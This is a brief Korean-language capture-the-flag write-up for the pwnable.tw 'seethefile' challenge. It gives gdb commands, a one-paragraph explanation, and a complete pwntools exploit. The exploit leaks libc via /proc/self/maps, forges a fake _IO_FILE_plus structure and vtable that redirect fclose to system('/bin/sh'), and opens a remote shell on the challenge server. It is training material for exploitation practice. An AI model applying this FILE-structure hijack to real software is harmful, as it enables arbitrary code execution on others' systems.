[pwnable.tw]seethefile

p *((struct _IO_FILE_plus *)0x804B280)
p *((struct _IO_jump_t *)0x804B2B4)
p *_IO_list_all

/proc/self/maps 로 libc leak해주고 fake _IO_FILE_plus Struct를 만들어주고 vtable을 조작해 finish를 system 함수로 덮으면 된다. fclose 에서 인자가 fp로 들어가는 부분을 /bin/sh로 덮어주면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./seethefile')
libc = e.libc
libc = ELF('./libc_32.so.6')
# p = process('./seethefile')
p = remote('chall.pwnable.tw',10200)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
filename = 0x0804B080 # 64
magicbuf = 0x0804B0C0 # 416
name = 0x0804B260 # 32
fp = 0x0804B280

def _open(name):
	sla(':','1')
	sla(':',name)

def _read():
	sla(':','2')

def _write():
	sla(':','3')

def _close():
	sla(':','4')

def leave_name(name):
	sla(':','5')
	sla(':',name)

_open('/proc/self/maps')
_read()
_read()
_write()
p.recvuntil('\n')
libc_base = int(p.recv(8),16)
log.info('libc_base : {}'.format(hex(libc_base)))

# _IO_FILE_plus
_fake_struct = '/bin/sh\x00' # 8
_fake_struct += p32(0) * 16
_fake_struct += p32(name)
_fake_struct += p32(0) * 18
# print len(_fake_struct) + 36
_fake_struct += p32(name + 188)

# _IO_file_jumps
_fake_vtable = p32(0) * 17
_fake_vtable += p32(libc_base + libc.symbols['system'])

payload = p32(0) * 8
payload += p32(name + 36)
payload += _fake_struct
payload += _fake_vtable

leave_name(payload)

p.interactive()